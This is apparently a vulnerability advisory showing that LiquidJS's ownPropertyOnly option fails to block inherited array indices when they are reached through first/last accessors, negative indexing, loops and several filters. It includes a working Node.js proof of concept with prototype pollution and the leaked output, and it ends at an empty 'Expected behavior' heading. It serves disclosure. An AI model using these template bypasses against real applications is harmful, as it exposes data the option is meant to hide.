LiquidJS: ownPropertyOnly bypass for inherited array indices in first/last/join/reverse/slice/compact, `.first`/`.last`, negative index, and for-loop iteration

Summary

LiquidJS’s ownPropertyOnly option is intended to prevent templates from reading inherited or prototype properties from scope data. With ownPropertyOnly: true, direct access such as:

{{ a[0] }}

correctly blocks an inherited array index. However, the same inherited value is still disclosed through:

.first
.last
negative indexing
for-loop iteration
first
last
join
reverse
slice
compact

Impact

This is an information disclosure issue when an application relies on ownPropertyOnly: true to safely render templates over untrusted or prototype-polluted scope data.

Object prototype property reads are blocked as expected, but inherited Array.prototype index reads are not consistently blocked. An attacker who can influence prototype state or inherited array-index data may cause templates to disclose values that ownPropertyOnly is expected to hide.

Proof of concept

const { Liquid } = require("liquidjs");

const engine = new Liquid({ ownPropertyOnly: true });

Array.prototype[0] = "ARRAY_PROTO_POLLUTED";
Object.prototype.secret = "OBJECT_PROTO_POLLUTED";

const a = [];
a.length = 1;

const o = {};

for (const [src, scope] of [
  ["{{ a[0] }}", { a }],
  ["{{ a[-1] }}", { a }],
  ["{{ o.secret }}", { o }],
  ["{{ a.first }}", { a }],
  ["{{ a.last }}", { a }],
  ["{{ a | first }}", { a }],
  ["{{ a | last }}", { a }],
  ["{{ a | join: ',' }}", { a }],
  ["{{ a | reverse | first }}", { a }],
  ["{{ a | slice: 0, 1 | join: ',' }}", { a }],
  ["{{ a | compact | join: ',' }}", { a }],
  ["{% for x in a %}[{{ x }}]{% endfor %}", { a }],
]) {
  console.log(src, "=>", JSON.stringify(engine.parseAndRenderSync(src, scope)));
}

delete Array.prototype[0];
delete Object.prototype.secret;

Observed behavior

{{ a[0] }}                                  => ""
{{ a[-1] }}                                 => "ARRAY_PROTO_POLLUTED"
{{ o.secret }}                              => ""
{{ a.first }}                               => "ARRAY_PROTO_POLLUTED"
{{ a.last }}                                => "ARRAY_PROTO_POLLUTED"
{{ a | first }}                             => "ARRAY_PROTO_POLLUTED"
{{ a | last }}                              => "ARRAY_PROTO_POLLUTED"
{{ a | join: ',' }}                         => "ARRAY_PROTO_POLLUTED"
{{ a | reverse | first }}                   => "ARRAY_PROTO_POLLUTED"
{{ a | slice: 0, 1 | join: ',' }}           => "ARRAY_PROTO_POLLUTED"
{{ a | compact | join: ',' }}               => "ARRAY_PROTO_POLLUTED"
{% for x in a %}[{{ x }}]{% endfor %}       => "[ARRAY_PROTO_POLLUTED]"

Expected behavior